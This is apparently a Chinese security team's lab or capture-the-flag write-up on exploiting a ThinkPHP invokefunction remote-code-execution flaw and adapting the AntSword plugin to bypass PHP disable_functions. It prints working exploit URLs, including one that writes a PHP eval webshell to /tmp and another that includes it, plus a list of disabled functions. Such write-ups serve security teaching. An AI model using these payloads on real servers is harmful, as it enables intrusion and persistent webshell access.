点击蓝字 关注我们
壹
解题过程
1
尝试通用payload
已知:
?s=Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl,gc_collect_cycles,iconv,str_repeat,str_shuffle
exec() x shell_exec() x 反引号` x passthru() x popen() x proc_open() x pcntl_exec() :需要开启pcntl扩展 x COM组件:Wscript.Shell和Shell.Application x dl():通过加载自定义php扩展突破 disable_fucnitons指令的限制 x利用PHP内核变量绕过disable_functions x
http://1.117.101.154:30080/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/tw.php&vars[1][]=%3C%3Fphp%20echo(%22hello%20hacker%22)%3B%40eval(%24_POST%5B'tw'%5D)%3B%3F%3E
http://1.117.101.154:30080/?s=Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=think__include_file&vars[1][]=/tmp/tw.php
恭喜你成功RCE!现在你需要Bypass disable_function。
本环境可使用某种现成的bypass PoC,但是由于ban了某些函数,因此你需要自行对该PoC进行一些你力所能及的修改。
至于是哪种PoC,嘿嘿?
直接使用蚁剑bypass disable_functions插件,这里就需要魔改一下因为被ban的函数太多了:
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl,gc_collect_cycles,iconv,str_repeat,str_shuffle
2
插件验证
贰
魔改插件
·被ban函数的位置以及确认exp
恭喜你成功RCE!
现在你需要Bypass disable_function。
本环境可使用某种现成的bypass PoC,但是由于ban了某些函数,因此你需要自行对该PoC进行一些你力所能及的修改。
至于是哪种PoC,嘿嘿?
-
【==str_repeat==】
-
【==str_shuffle==】
·确认函数功能并手动实现
-
str_repeat:
str_repeat() 函数把字符串重复指定的次数。
str_repeat(string,repeat)
string 必需。规定要重复的字符串。
repeat 必需。规定字符串将被重复的次数。必须大于等于 0
-
str_shuffle:
str_shuffle() 函数随机打乱字符串中的所有字符。
str_shuffle(string)
string 必需。规定要打乱的字符串。
END
撰稿 | T4Ki
编辑 | 绛烨
审核 | 千里
邀请您加入东方隐侠的私域群,定期分享安全资讯,解答各类技术难题。
关注东方隐侠安全团队 为安全界刮起一股侠客风
东方隐侠安全团队,一支专业的网络安全团队,将持续为您分享红蓝对抗、病毒研究、安全运营、应急响应等网络安全知识,提供一流网络安全服务,敬请关注!
公众号|东方隐侠安全实验室
原文始发于微信公众号(东方隐侠安全实验室):记一次魔改蚁剑bypass_disable_functions插件的打靶记录
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论